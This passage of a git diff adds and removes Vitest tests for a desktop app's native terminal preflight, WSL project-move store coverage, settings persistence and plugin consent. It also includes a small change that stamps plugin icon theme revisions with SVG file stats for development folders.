ORCAD_EXIT_CONFIGURATION } from './orcad-configuration-exit' -import { - runtimeTerminalDegradation, - setRuntimeTerminalUnavailableCause -} from '../runtime/native-terminal-availability' -import type { NodePtyPreconditionVerdict } from './node-pty-precondition' - -const ABI = { - platform: 'linux' as NodeJS.Platform, - arch: 'x64', - libc: 'glibc' as const, - glibcVersion: '2.31', - nodeAbi: '127' -} - -const verdict = (over: Partial): NodePtyPreconditionVerdict => ({ - status: 'ok', - slot: 'linux-x64-glibc', - abi: ABI, - ...over -}) - -const harness = (given: NodePtyPreconditionVerdict) => { - const warn = vi.fn() - const fail = vi.fn() - const exit = vi.fn(() => undefined as never) - const continued = runOrcadNativePreflight({ - check: () => given, - toolchainHints: () => [' sudo apt-get install -y build-essential python3'], - warn, - fail, - exit - }) - return { warn, fail, exit, continued } -} - -afterEach(() => { - setRuntimeTerminalUnavailableCause(null) -}) - -describe('runOrcadNativePreflight', () => { - it('stops the boot on a proven-unloadable binary instead of reaching the require', () => { - // operator would get the loader's stack trace instead of the sentence below. - const { fail, exit, warn } = harness( - verdict({ status: 'blocked', reason: 'libc_floor', detail: 'the binary requires GLIBC_2.34' }) - ) - - expect(exit).toHaveBeenCalledWith(ORCAD_EXIT_CONFIGURATION) - expect(warn).not.toHaveBeenCalled() - const message = fail.mock.calls[0][0] as string - expect(message).toContain('newer C library') - expect(message).toContain('the binary requires GLIBC_2.34') - expect(message).toContain('libc glibc 2.31') - expect(message).toContain('sudo apt-get install -y build-essential python3') - }) - - it('publishes the blocked cause as a status degradation', () => { - harness(verdict({ status: 'blocked', reason: 'abi_mismatch', detail: 'built for ABI 115' })) - - expect(runtimeTerminalDegradation()).toEqual({ - code: 'terminal_unavailable', - capability: 'terminal.pty.v1', - reason: 'abi_mismatch', - detail: 'built for ABI 115', - message: - "This host's node-pty binary was built for a different Node ABI than the running Node, so it cannot be loaded. Rebuild node-pty against this Node version. (built for ABI 115)" - }) - }) - - it('boots on a spawn-time-only fault and reports it rather than refusing to serve', () => { - const { continued, exit, warn } = harness( - verdict({ status: 'degraded', reason: 'spawn_helper_missing', detail: 'no spawn-helper' }) - ) - - expect(continued).toBe(true) - expect(exit).not.toHaveBeenCalled() - expect(warn).toHaveBeenCalledOnce() - expect(runtimeTerminalDegradation()?.reason).toBe('spawn_helper_missing') - }) - - it('boots when the probe established nothing, because that is not evidence of a fault', () => { - const { continued, exit } = harness( - verdict({ status: 'unverifiable', reason: 'unknown', detail: 'probe timed out' }) - ) - - expect(continued).toBe(true) - expect(exit).not.toHaveBeenCalled() - expect(runtimeTerminalDegradation()?.reason).toBe('unknown') - }) - - it('reports nothing when the load was proved good', () => { - setRuntimeTerminalUnavailableCause({ reason: 'load_failed' }) - - const { continued, warn, fail } = harness(verdict({ status: 'ok' })) - - expect(continued).toBe(true) - expect(warn).not.toHaveBeenCalled() - expect(fail).not.toHaveBeenCalled() - expect(runtimeTerminalDegradation()).toBeNull() - }) - - it('does not run the toolchain probe for a verdict that is not about a missing build', () => { - const toolchainHints = vi.fn(() => [] as string[]) - runOrcadNativePreflight({ - check: () => verdict({ status: 'degraded', reason: 'spawn_helper_missing' }), - toolchainHints, - warn: vi.fn(), - fail: vi.fn(), - exit: vi.fn(() => undefined as never) - }) - expect(toolchainHints).not.toHaveBeenCalled() - }) -}) - -describe('runOrcadNativePreflightVerdict', () => { - it('skips the probe for a qualified slot and clears any stale degradation', () => { - setRuntimeTerminalUnavailableCause({ reason: 'load_failed', detail: 'old' }) - const check = vi.fn(() => verdict({ status: 'blocked' })) - - expect(runOrcadNativePreflightVerdict({ qualified: true, check })).toBe('ok') - - expect(check).not.toHaveBeenCalled() - expect(runtimeTerminalDegradation()).toBeNull() - }) - - it('reports a degraded probe as such, so it cannot qualify the slot', () => { - expect( - runOrcadNativePreflightVerdict({ - check: () => verdict({ status: 'degraded', reason: 'spawn_helper_missing' }), - warn: vi.fn() - }) - ).toBe('degraded') - }) -}) diff --git a/src/main/orcad/orcad-wsl-host-claude-profile-refresh.test.ts b/src/main/orcad/orcad-wsl-host-claude-profile-refresh.test.ts index a2c9af1ecb2..a8a9c2efee0 100644 --- a/src/main/orcad/orcad-wsl-host-claude-profile-refresh.test.ts +++ b/src/main/orcad/orcad-wsl-host-claude-profile-refresh.test.ts @@ -135,19 +135,4 @@ describe('WSL host Claude folder refresh', () => { switched.claude.CLAUDE_CONFIG_DIR ]) }) - - it('refreshes before a Claude launch the host starts, and not for other launches', async () => { - const home = guestHome() - const refreshClaudeProfile = vi.fn(async () => {}) - const accounts = new RuntimeAccountController() - accounts.restoreHostLaunchEnv(launchEnvFor(home), () => {}, { refreshClaudeProfile }) - - await accounts.prepareHostAgentLaunch('codex') - await accounts.prepareHostAgentLaunch(null) - expect(refreshClaudeProfile).not.toHaveBeenCalled() - - await accounts.prepareHostAgentLaunch('claude') - await accounts.getCommitMessageAgentEnvironment()?.prepareForClaudeLaunch?.() - expect(refreshClaudeProfile).toHaveBeenCalledTimes(2) - }) }) diff --git a/src/main/persistence/applying-settings/persistence-settings-ui-defaults.test.ts b/src/main/persistence/applying-settings/persistence-settings-ui-defaults.test.ts index 7d7ed9f042a..9daeda90e39 100644 --- a/src/main/persistence/applying-settings/persistence-settings-ui-defaults.test.ts +++ b/src/main/persistence/applying-settings/persistence-settings-ui-defaults.test.ts @@ -13,6 +13,7 @@ import { tmpdir } from 'node:os' import type { GlobalSettings } from '../../../shared/global-settings-types' import type { PersistedState } from '../../../shared/persisted-state-types' import { getDefaultPersistedState } from '../../../shared/constants' +import { nativeChatQueueFollowUps } from '../../../shared/native-chat-follow-up-behavior' import { ONBOARDING_FINAL_STEP, ONBOARDING_FLOW_VERSION } from '../../../shared/onboarding-defaults' const { loadUserSshConfigMock, sshConfigHostsToTargetsMock } = vi.hoisted(() => ({ @@ -137,6 +138,32 @@ describe('Store', () => { expect(readDataFile()).not.toHaveProperty('settings.orchestrationHeartbeatIntervalMinutes') }) + it.each([true, false, undefined])( + 'preserves the queue preference %s through load, update, save and reload', + async (saved) => { + const persisted = getDefaultPersistedState(testState.dir) + const { nativeChatQueueFollowUps: _absent, ...settings } = persisted.settings + void _absent + writeDataFile({ + ...persisted, + settings: { + ...settings, + ...(saved === undefined ? {} : { nativeChatQueueFollowUps: saved }) + } + }) + const store = await createStore() + expect(nativeChatQueueFollowUps(store.getSettings())).toBe(saved !== false) + store.updateSettings({ nativeChatQueueFollowUps: false }) + store.flush() + expect(readDataFile()).toHaveProperty('settings.nativeChatQueueFollowUps', false) + const reloaded = await createStore() + expect(nativeChatQueueFollowUps(reloaded.getSettings())).toBe(false) + reloaded.updateSettings({ nativeChatQueueFollowUps: true }) + reloaded.flush() + expect(readDataFile()).toHaveProperty('settings.nativeChatQueueFollowUps', true) + } + ) + it('returns default UI state when no data file exists', async () => { const store = await createStore() const ui = store.getUI() diff --git a/src/main/persistence/moving-wsl-projects/wsl-move-orchestration-history-rewrite.test.ts b/src/main/persistence/moving-wsl-projects/wsl-move-orchestration-history-rewrite.test.ts index f906573bff3..121f41a35df 100644 --- a/src/main/persistence/moving-wsl-projects/wsl-move-orchestration-history-rewrite.test.ts +++ b/src/main/persistence/moving-wsl-projects/wsl-move-orchestration-history-rewrite.test.ts @@ -1,4 +1,5 @@ -import { existsSync, mkdtempSync, readFileSync, rmSync } from 'node:fs' +import { existsSync, mkdtempSync, rmSync } from 'node:fs' + import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' @@ -11,10 +12,8 @@ import { wslMoveCutoverFixture } from '../__fixtures__/wsl-mover/wsl-move-cutove import { seedWslMoveCutover } from '../__fixtures__/wsl-mover/wsl-move-journal-seeding' import { listWslMoveCutovers, wslMoveJournalDirectory } from './wsl-move-cutover-journal' import { runWslMoveDesktopRewritePass } from './wsl-move-desktop-rewrite' -import { - listWslMoveDesktopRewriteStores, - resetWslMoveDesktopRewriteStoresForTests -} from './wsl-move-desktop-rewrite-stores' +import { resetWslMoveDesktopRewriteStoresForTests } from './wsl-move-desktop-rewrite-stores' + import { registerWslMoveOrchestrationHistoryStore, rewriteWslMoveOrchestrationHistory, @@ -121,12 +120,6 @@ afterEach(() => { }) describe('WSL move orchestration history rewrite', () => { - it('registers one main-side store', () => { - expect(listWslMoveDesktopRewriteStores().map((store) => [store.id, store.side])).toEqual([ - [WSL_MOVE_ORCHESTRATION_HISTORY_STORE_ID, 'main'] - ]) - }) - it("gives a moved project's settled local dispatches the host's worktree id", async () => { seedOrchestrationHistory() seedWslMoveCutover(userDataPath, committedMove()) @@ -155,21 +148,6 @@ describe('WSL move orchestration history rewrite', () => { expect(attachmentIds()).toEqual({ 'd-remote': MOVED }) }) - it('leaves timestamps and JSON receipts as written', async () => { - seedOrchestrationHistory() - const before = withDb((db) => - db.prepare(`SELECT updated_at, effects, start_options FROM worker_dispatches`).all() - ) - seedWslMoveCutover(userDataPath, committedMove()) - - await runWslMoveDesktopRewritePass({ userDataPath }) - - const after = withDb((db) => - db.prepare(`SELECT updated_at, effects, start_options FROM worker_dispatches`).all() - ) - expect(after).toEqual(before) - }) - it('changes nothing when a crash lost its ledger entry and it runs again', async () => { seedOrchestrationHistory() seedWslMoveCutover(userDataPath, committedMove()) @@ -195,17 +173,6 @@ describe('WSL move orchestration history rewrite', () => { expect(withDb((db) => rewriteWslMoveOrchestrationHistory(db, scope))).toBe(0) }) - it('touches nothing with no move journal', async () => { - seedOrchestrationHistory() - const bytes = readFileSync(databasePath) - const dispatches = dispatchIds() - - await runWslMoveDesktopRewritePass({ userDataPath }) - - expect(readFileSync(databasePath).equals(bytes)).toBe(true) - expect(dispatchIds()).toEqual(dispatches) - }) - it('touches nothing for a move that has not committed', async () => { seedOrchestrationHistory() const dispatches = dispatchIds() diff --git a/src/main/persistence/moving-wsl-projects/wsl-move-rewrite-store-coverage.test.ts b/src/main/persistence/moving-wsl-projects/wsl-move-rewrite-store-coverage.test.ts deleted file mode 100644 index f1d22a01d3b..00000000000 --- a/src/main/persistence/moving-wsl-projects/wsl-move-rewrite-store-coverage.test.ts +++ /dev/null @@ -1,258 +0,0 @@ -import { afterEach, describe, expect, it, vi } from 'vitest' -import { toPersistedAutomationHostFilter } from '../../../shared/automation-host-filter' -import { getDefaultPersistedState, getDefaultWorkspaceSession } from '../../../shared/constants' -import { toRuntimeExecutionHostId } from '../../../shared/execution-host' -import type { PersistedUIState } from '../../../shared/persisted-ui-state-types' -import { worktreeWorkspaceKey } from '../../../shared/workspace-scope' -import type { WorkspaceSessionState } from '../../../shared/workspace-session-state-types' -import { WSL_MOVE_BROWSER_COOKIES_STORE_ID } from '../../../shared/wsl-move/wsl-move-browser-cookie-copy' -import { - PERSISTED_STATE_DISPOSITIONS, - WORKSPACE_SESSION_DISPOSITIONS, - type WslMoveFieldDisposition -} from '../../../shared/wsl-move/wsl-move-dispositions' -import { OUT_OF_STORE_DISPOSITIONS } from '../../../shared/wsl-move/wsl-move-out-of-store-dispositions' -import type { WslMoveRendererRewriteStoreId } from '../../../shared/wsl-move/wsl-move-renderer-rewrite-types' -import { - LOCAL_STORAGE_MODULE_DISPOSITIONS, - SQLITE_TABLE_DISPOSITIONS -} from '../../../shared/wsl-move/wsl-move-storage-dispositions' -import { UI_STATE_DISPOSITIONS } from '../../../shared/wsl-move/wsl-move-ui-dispositions' -import { registerWslMoveDesktopRewriteRegistry } from './wsl-move-desktop-rewrite-registry' -import { - isWslMoveDesktopRewriteRegistryComplete, - listWslMoveDesktopRewriteStores, - resetWslMoveDesktopRewriteStoresForTests, - WSL_MOVE_DESKTOP_REWRITE_REGISTRY_COMPLETE, - type WslMoveDesktopRewriteContext -} from './wsl-move-desktop-rewrite-stores' -import { registerWslMoveMainRewriteStores } from './wsl-move-main-rewrite-stores' -import { createUncToLinuxPathRewriter } from './wsl-move-path-rewriter' -import { wslMoveCutoverFixture } from '../__fixtures__/wsl-mover/wsl-move-cutover-fixture' -import { wslMoverProfile } from '../__fixtures__/wsl-mover/wsl-mover-profiles' -import { WSL_MOVE_HOST_AUTOMATIONS_STORE_ID } from './wsl-move-host-automations-rewrite' -import { WSL_MOVE_ORCHESTRATION_HISTORY_STORE_ID } from './wsl-move-orchestration-history-rewrite' - -vi.mock('../../browser/browser-partition-cookie-copy', () => ({ - copyBrowserPartitionCookies: vi.fn(), - flushBrowserPartitionCookies: vi.fn() -})) -vi.mock('../../browser/browser-session-registry', () => ({ browserSessionRegistry: {} })) -vi.mock('../../browser/browser-session-startup', () => ({ browserSessionsInitialized: vi.fn() })) -vi.mock('../../browser/browser-route-partition-binding-runtime', () => ({ - activeBrowserRoutePartitionOrcaProfileId: vi.fn(), - currentBrowserRoutePartitionBindingStore: vi.fn() -})) -vi.mock('../../browser/browser-route-partition-storage-dependencies', () => ({ - releaseEvictedBrowserRoutePartitionStorage: vi.fn() -})) - -const UI_ROUTING = 'ui-routing' -const SESSION_GLOBALS = 'session-globals' -const HOST_SESSION_SEED = 'host-session-seed' -const renderer = (id: WslMoveRendererRewriteStoreId): string => id -// Rows whose rewrite shows in another field: the scalar scope stays, the host list it resolves to grows. -const WRITTEN_FIELD: Record = { 'ui.workspaceHostScope': 'visibleWorkspaceHostIds' } - -/** - * The store that carries out each disposition row it names. Keys are `.` after the - * disposition tables; every row here must exist, and every registered store must appear. - */ -const STORE_BY_ROW: Record = { - 'persisted.workspaceSessionsByHostId': HOST_SESSION_SEED, - // A move row, not a desktop rewrite: the host turns back on what the manifest carried disabled. - 'persisted.automations': WSL_MOVE_HOST_AUTOMATIONS_STORE_ID, - 'session.activeWorktreeId': SESSION_GLOBALS, - 'session.activeWorkspaceExecutionHostId': SESSION_GLOBALS, - 'session.activeWorkspaceKey': SESSION_GLOBALS, - // This desktop's copy, laid over the host partition the seed writes. - 'session.markdownFrontmatterVisible': HOST_SESSION_SEED, - 'session.closedTerminalTabTombstonesByTabId': HOST_SESSION_SEED, - 'ui.lastActiveWorktreeId': UI_ROUTING, - 'ui.manualRepoOrder': UI_ROUTING, - 'ui.explorerDisplayRootByWorktree': UI_ROUTING, - 'ui.showDotfilesByWorktree': UI_ROUTING, - 'ui.workspaceCleanup': UI_ROUTING, - 'ui.collapsedGroups': UI_ROUTING, - 'ui.workspaceHostScope': UI_ROUTING, - 'ui.workspaceHostOrder': UI_ROUTING, - 'ui.visibleWorkspaceHostIds': UI_ROUTING, - 'ui.agentsVisibleHostIds': UI_ROUTING, - 'ui.automationHostFilter': UI_ROUTING, - 'localStorage.src/renderer/src/lib/quick-open-file-history.ts': renderer('quick-open-history'), - 'localStorage.src/renderer/src/components/editor/ipynb-kernel-store.ts': - renderer('notebook-environments'), - 'localStorage.src/renderer/src/components/editor/file-view-preference-storage.ts': - renderer('file-view-preferences'), - 'sqlite.orchestration.worker_dispatches': WSL_MOVE_ORCHESTRATION_HISTORY_STORE_ID, - 'sqlite.orchestration.worker_terminal_resources': WSL_MOVE_ORCHESTRATION_HISTORY_STORE_ID, - 'outOfStore.orchestration.db': WSL_MOVE_ORCHESTRATION_HISTORY_STORE_ID, - 'outOfStore.browser partition (cookies, site storage)': WSL_MOVE_BROWSER_COOKIES_STORE_ID -} - -const prefixed = ( - prefix: string, - table: Record -): [string, WslMoveFieldDisposition][] => - Object.entries(table).map(([key, row]) => [`${prefix}.${key}`, row]) - -const ROWS = new Map([ - ...prefixed('persisted', PERSISTED_STATE_DISPOSITIONS), - ...prefixed('session', WORKSPACE_SESSION_DISPOSITIONS), - ...prefixed('ui', UI_STATE_DISPOSITIONS), - ...prefixed('localStorage', LOCAL_STORAGE_MODULE_DISPOSITIONS), - ...prefixed('sqlite', SQLITE_TABLE_DISPOSITIONS), - ...OUT_OF_STORE_DISPOSITIONS.map((row): [string, WslMoveFieldDisposition] => [ - `outOfStore.${row.store}`, - row - ]) -]) - -/** The stores startup registers, through the same entry point. */ -function registeredStoreIds(): string[] { - registerWslMoveDesktopRewriteRegistry({ - profile: { - getUI: vi.fn(), - updateUI: vi.fn(), - getWorkspaceSession: vi.fn(), - patchWorkspaceSession: vi.fn(), - setWorkspaceSession: vi.fn(), - flushPendingOrThrowAsync: vi.fn() - }, - orchestrationDatabasePath: '/nowhere/orchestration.db', - hostAutomations: { enable: vi.fn() }, - browserCookies: { - userDataPath: '/nowhere', - sessionsReady: () => false, - orcaProfileId: () => null, - listEnvironments: () => [], - listBrowserProfiles: () => [], - resolveHostStorage: vi.fn(), - bindHostPartition: vi.fn(), - copyCookies: vi.fn(), - flushCookies: vi.fn() - } - }) - return listWslMoveDesktopRewriteStores().map((store) => store.id) -} - -afterEach(() => { - resetWslMoveDesktopRewriteStoresForTests() -}) - -describe('WSL move desktop rewrite registry coverage', () => { - it('gives every desktop-rewrite disposition row a store', () => { - const rewriteRows = [...ROWS] - .filter(([, row]) => row.disposition === 'rewrite-desktop' || row.rewriteDesktopCopy) - .map(([key]) => key) - expect(rewriteRows.length).toBeGreaterThan(0) - expect(rewriteRows.filter((key) => !Object.hasOwn(STORE_BY_ROW, key))).toEqual([]) - }) - - it('names only rows the disposition tables have', () => { - expect(Object.keys(STORE_BY_ROW).filter((key) => !ROWS.has(key))).toEqual([]) - }) - - it('maps every registered store to a row, and registers every mapped store', () => { - const registered = registeredStoreIds() - const mapped = new Set(Object.values(STORE_BY_ROW)) - expect(registered.filter((id) => !mapped.has(id))).toEqual([]) - expect([...mapped].filter((id) => !registered.includes(id))).toEqual([]) - }) - - it('is marked complete', () => { - expect(WSL_MOVE_DESKTOP_REWRITE_REGISTRY_COMPLETE).toBe(true) - expect(isWslMoveDesktopRewriteRegistryComplete()).toBe(true) - }) - - it("has the profile's stores write every UI and session row they are mapped to", async () => { - const written = new Set() - const context: WslMoveDesktopRewriteContext = { - cutover: wslMoveCutoverFixture( - 'move-1', - 'destination-committed', - {}, - { repoIds: ['repo-a'] }, - { - version: 1, - worktreeMeta: [], - worktreeLineage: [], - workspaceLineage: [], - sparsePresets: [], - retiredWorktreeNames: [], - retiredWorktreeNamespaces: [], - automations: wslMoverProfile('folders-and-automations', 'destination').state.automations - } - ), - rewritePath: createUncToLinuxPathRewriter('Ubuntu'), - destinationHostId: HOST, - recordSeededHostWorkspaceIds: () => {} - } - registerWslMoveMainRewriteStores({ - getUI: () => ({ ...getDefaultPersistedState('/nowhere').ui, ...movedUi() }), - updateUI: (updates) => { - Object.keys(updates).forEach((key) => written.add(`ui.${key}`)) - }, - getWorkspaceSession: () => ({ ...getDefaultWorkspaceSession(), ...movedSession() }), - patchWorkspaceSession: (patch) => { - Object.keys(patch).forEach((key) => written.add(`session.${key}`)) - }, - setWorkspaceSession: vi.fn(), - flushPendingOrThrowAsync: vi.fn() - }) - for (const store of listWslMoveDesktopRewriteStores()) { - if (store.side === 'main' && (store.id === UI_ROUTING || store.id === SESSION_GLOBALS)) { - await store.run(context) - } - } - const missing = Object.entries(STORE_BY_ROW) - .filter(([, storeId]) => storeId === UI_ROUTING || storeId === SESSION_GLOBALS) - .map(([row]) => { - const field = WRITTEN_FIELD[row] - return field ? `${row.slice(0, row.indexOf('.'))}.${field}` : row - }) - .filter((row) => !written.has(row)) - expect(missing).toEqual([]) - }) -}) - -const HOST = toRuntimeExecutionHostId('wsl:Ubuntu') -const MOVED = 'repo-a::\\\\wsl.localhost\\Ubuntu\\home\\dev\\app' - -/** Every UI row the move rewrites, naming the moved project on this computer. */ -function movedUi(): Partial { - return { - lastActiveWorktreeId: MOVED, - manualRepoOrder: [{ hostId: 'local', repoId: 'repo-a' }], - explorerDisplayRootByWorktree: { [MOVED]: '\\\\wsl.localhost\\Ubuntu\\home\\dev\\app\\src' }, - showDotfilesByWorktree: { [MOVED]: true }, - workspaceCleanup: { - dismissals: { - [`local\0${MOVED}`]: { - worktreeId: MOVED, - executionHostId: 'local', - dismissedAt: 1, - fingerprint: 'f', - classifierVersion: 1 - } - } - }, - collapsedGroups: [`lineage:local|${MOVED}`], - workspaceHostScope: 'local', - visibleWorkspaceHostIds: null, - workspaceHostOrder: ['local'], - agentsVisibleHostIds: ['local'], - automationHostFilter: toPersistedAutomationHostFilter({ - kind: 'host', - host: { authority: { kind: 'desktop' }, selector: { kind: 'self' } } - }) - } -} - -function movedSession(): Partial { - return { - activeWorktreeId: MOVED, - activeWorkspaceKey: worktreeWorkspaceKey(MOVED), - activeWorkspaceExecutionHostId: 'local' - } -} diff --git a/src/main/persistence/profile-state/profile-state-writer-reopen-policy.test.ts b/src/main/persistence/profile-state/profile-state-writer-reopen-policy.test.ts index ebea45a5f72..9f4705abed2 100644 --- a/src/main/persistence/profile-state/profile-state-writer-reopen-policy.test.ts +++ b/src/main/persistence/profile-state/profile-state-writer-reopen-policy.test.ts @@ -1,8 +1,5 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { - ProfileStateWriterReopenPolicy, - reportTerminalReopenFailure -} from './profile-state-writer-reopen-policy' +import { ProfileStateWriterReopenPolicy } from './profile-state-writer-reopen-policy' const spawnFailure = Object.assign(new Error('spawn failed'), { code: 'profile-state-writer-unavailable' @@ -64,43 +61,4 @@ describe('ProfileStateWriterReopenPolicy', () => { now = 1_000 expect(() => policy.admit()).not.toThrow() }) - - it('reports a terminal failure even when the listener throws', () => { - const error = vi.spyOn(console, 'error').mockImplementation(() => {}) - const conflict = Object.assign(new Error('changed'), { - code: 'profile-state-revision-conflict' - }) - const seen: Error[] = [] - expect(() => - reportTerminalReopenFailure((reported) => { - seen.push(reported) - throw new Error('listener broke') - }, conflict) - ).not.toThrow() - expect(seen).toEqual([conflict]) - expect(error).toHaveBeenCalledWith( - '[persistence] Could not report stopped saving:', - expect.objectContaining({ message: 'listener broke' }) - ) - }) - - it('keeps a revision conflict terminal', () => { - const policy = new ProfileStateWriterReopenPolicy(() => 0) - expect(policy.recordFailure({ code: 'profile-state-revision-conflict' })).toBeNull() - expect(() => policy.admit()).not.toThrow() - }) - - it('counts every attempt and logs at most once per ten minutes', () => { - let now = 0 - const info = vi.spyOn(console, 'info').mockImplementation(() => {}) - const policy = new ProfileStateWriterReopenPolicy(() => now) - policy.recordAttempt() - now = 9 * 60_000 - policy.recordAttempt() - now = 10 * 60_000 - policy.recordAttempt() - expect(policy.count).toBe(3) - expect(info).toHaveBeenCalledTimes(2) - info.mockRestore() - }) }) diff --git a/src/main/pi/rpc-options.test.ts b/src/main/pi/rpc-options.test.ts index 58e54a3900b..ddaff808681 100644 --- a/src/main/pi/rpc-options.test.ts +++ b/src/main/pi/rpc-options.test.ts @@ -3,7 +3,6 @@ import { applyPiRpcSessionOption, parsePiModelOptionId, PiRpcOptionObservations, - readPiRpcCommands, readPiRpcSessionOptions, type PiRpcOptionProof, type PiRpcRequester @@ -119,43 +118,6 @@ describe('Pi RPC session options', () => { expect(selected.get('model')).toBe('openai-codex/gpt-6.1-sol') }) - it('rejects malformed provider data and reports only Pi-listed commands', async () => { - const malformed = requester({ get_available_models: { models: [{ id: 'missing-provider' }] } }) - await expect(readPiRpcSessionOptions(malformed)).rejects.toThrow() - const rpc = requester({ - get_commands: { - commands: [ - { name: 'review', description: 'Review changes', source: 'extension' }, - { name: 'search', source: 'skill' } - ] - } - }) - expect(await readPiRpcCommands(rpc)).toEqual({ - commands: [ - { name: 'review', kind: 'command', description: 'Review changes' }, - { name: 'search', kind: 'skill' } - ] - }) - }) - - it('handles a signed-out state with no model', async () => { - const rpc = requester({ - get_available_models: { models: [] }, - get_state: { - model: null, - thinkingLevel: 'off', - sessionFile: '/sessions/current.jsonl', - isStreaming: false, - isCompacting: false - } - }) - expect((await readPiRpcSessionOptions(rpc)).current).toEqual({ - model: '', - effort: 'off', - confirmed: ['effort'] - }) - }) - it('keeps ordinary thinking levels when the map only supplies overrides', async () => { const rpc = requester({ get_available_models: { diff --git a/src/main/plugins/contributions/plugin-icon-theme-registry.test.ts b/src/main/plugins/contributions/plugin-icon-theme-registry.test.ts index c138aa5f9a9..01ec8e4b6cf 100644 --- a/src/main/plugins/contributions/plugin-icon-theme-registry.test.ts +++ b/src/main/plugins/contributions/plugin-icon-theme-registry.test.ts @@ -1,4 +1,4 @@ -import { mkdir, mkdtemp, rm, writeFile } from 'node:fs/promises' +import { mkdir, mkdtemp, rm, utimes, writeFile } from 'node:fs/promises' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, expect, it } from 'vitest' @@ -90,3 +90,24 @@ it('fails a load whose file is not an SVG document and forgets themes once disab await registry.reconcile([plugin], () => false) expect(registry.list()).toEqual([]) }) + +it('changes a dev folder theme revision when an SVG is edited in place', async () => { + const plugin = await iconPlugin({ + 'folder.svg': '', + 'ts.svg': '' + }) + const registry = new PluginIconThemeRegistry(new PluginContentVerifier()) + await registry.reconcile([plugin], () => true) + const revision = registry.list()[0]?.revision + await registry.reconcile([plugin], () => true) + expect(registry.list()[0]?.revision).toBe(revision) + + const svgPath = join(plugin.rootDir, 'icons', 'ts.svg') + await writeFile(svgPath, '') + // Pin a distinct mtime so coarse filesystem timestamps cannot hide the edit. + await utimes(svgPath, new Date(2_000_000_000_000), new Date(2_000_000_000_000)) + await registry.reconcile([plugin], () => true) + expect(registry.list()[0]?.revision).not.toBe(revision) + const theme = await registry.load('plugin:samples.minimal-icons/minimal') + expect(theme?.svgs[theme.fileExtensions.ts ?? -1]).toBe('') +}) diff --git a/src/main/plugins/contributions/plugin-icon-theme-registry.ts b/src/main/plugins/contributions/plugin-icon-theme-registry.ts index 8b434b3a8a7..77d42747217 100644 --- a/src/main/plugins/contributions/plugin-icon-theme-registry.ts +++ b/src/main/plugins/contributions/plugin-icon-theme-registry.ts @@ -1,16 +1,19 @@ import { createHash } from 'node:crypto' +import { stat } from 'node:fs/promises' import type { PluginThemeContribution } from '../../../shared/plugins/contributions/plugin-content-pack-contributions' import { PLUGIN_ICON_SVG_MAX_BYTES, isPlausiblePluginIconSvg, parsePluginIconThemeArtifact, + pluginIconThemeIconRefs, type PluginIconThemeArtifact, type PluginIconThemeMetadata, type PluginIconThemeRegistration } from '../../../shared/plugins/artifacts/plugin-icon-theme-artifact' import { PLUGIN_ICON_THEME_MAX_BYTES, - readContainedPluginArtifactText + readContainedPluginArtifactText, + resolveContainedPluginArtifact } from '../plugin-artifact-validation' import { PluginArtifactPackRegistry } from './plugin-artifact-pack-registry' import type { PluginContentVerifier } from '../plugin-content-integrity' @@ -41,19 +44,23 @@ export class PluginIconThemeRegistry { contribution.path, PLUGIN_ICON_THEME_MAX_BYTES ) + const artifact = parsePluginIconThemeArtifact(text) + // Why the tree hash: SVGs load lazily, so it stands in for their bytes across updates. + // Dev folders have no tree hash, so in-place SVG edits are caught by file stats instead. + const svgStamp = + plugin.contentHash ?? (await statIconFiles(plugin.rootDir, iconPaths(artifact))) return { id: `plugin:${plugin.pluginKey}/${contribution.id}`, pluginKey: plugin.pluginKey, label: contribution.title, - // Why the tree hash: SVGs load lazily, so it stands in for their bytes across updates. revision: createHash('sha256') - .update(plugin.contentHash ?? '') + .update(svgStamp) .update('\0') .update(text) .digest('hex') .slice(0, 32), rootDir: plugin.rootDir, - artifact: parsePluginIconThemeArtifact(text) + artifact } } }) @@ -92,15 +99,31 @@ export class PluginIconThemeRegistry { } } +function iconPaths(artifact: PluginIconThemeArtifact): string[] { + return [...new Set(pluginIconThemeIconRefs(artifact))] +} + +async function statIconFiles(rootDir: string, paths: readonly string[]): Promise { + const stamps = await Promise.all( + paths.map(async (path) => { + try { + const file = await stat( + await resolveContainedPluginArtifact(rootDir, path, PLUGIN_ICON_SVG_MAX_BYTES), + { bigint: true } + ) + return `${path}:${file.size}:${file.mtimeNs}` + } catch { + // Load reports the real error; a missing file must still change the revision. + return `${path}:missing` + } + }) + ) + return stamps.join('\n') +} + async function materialize(descriptor: IconThemeDescriptor): Promise { const { artifact } = descriptor - const paths = [ - ...new Set([ - ...Object.values(artifact.icons), - ...Object.values(artifact.fileNames), - ...Object.values(artifact.fileExtensions) - ]) - ] + const paths = iconPaths(artifact) const svgs: string[] = [] let totalBytes = 0 for (const path of paths) { @@ -128,6 +151,8 @@ async function materialize(descriptor: IconThemeDescriptor): Promise { await expect(approve()).resolves.toBe('already-approved') expect(applyConsent).not.toHaveBeenCalled() }) - - it('tells a development folder approval that later code edits are not re-reviewed', () => { - const request = pluginCliApprovalRequest( - plugin(WORKER, { isDev: true, contentHash: null, consentContentHash: 'dev-identity' }), - 'dev-load' - ) - expect(request.contentIdentity).toBe('dev-identity') - expect(request.why).toContain('Later code edits in this development folder') - }) }) diff --git a/src/main/plugins/plugin-enablement.test.ts b/src/main/plugins/plugin-enablement.test.ts index 44cc906ffa5..2ec334aa26b 100644 --- a/src/main/plugins/plugin-enablement.test.ts +++ b/src/main/plugins/plugin-enablement.test.ts @@ -4,7 +4,7 @@ import { getDefaultSettings } from '../../shared/constants' import type { GlobalSettings } from '../../shared/global-settings-types' import { pluginManifestSchema } from '../../shared/plugins/manifest/plugin-manifest' import type { Store } from '../persistence' -import { applyPluginConsent, applyPluginEnablement } from './plugin-enablement' +import { applyPluginConsent } from './plugin-enablement' import type { ValidDiscoveredPlugin } from './plugin-discovery' import type { PluginService } from './plugin-service' @@ -61,25 +61,6 @@ function createPluginService( } as unknown as PluginService } -describe('full access', () => { - const workerManifest = pluginManifestSchema.parse({ ...manifest, main: 'main.mjs' }) - - it('approves and enables a trusted worker with its own consent alone', async () => { - const harness = createStore() - const pluginService = createPluginService(() => 'sha256-reviewed', { - manifest: workerManifest - }) - const request = { store: harness.store, pluginService, pluginKey } - await applyPluginConsent({ - ...request, - reviewedFingerprint: 'sha256-reviewed', - decision: 'approve' - }) - await applyPluginEnablement({ ...request, enabled: true }) - expect(harness.getSettings().pluginConsents[pluginKey]).toBe('sha256-reviewed') 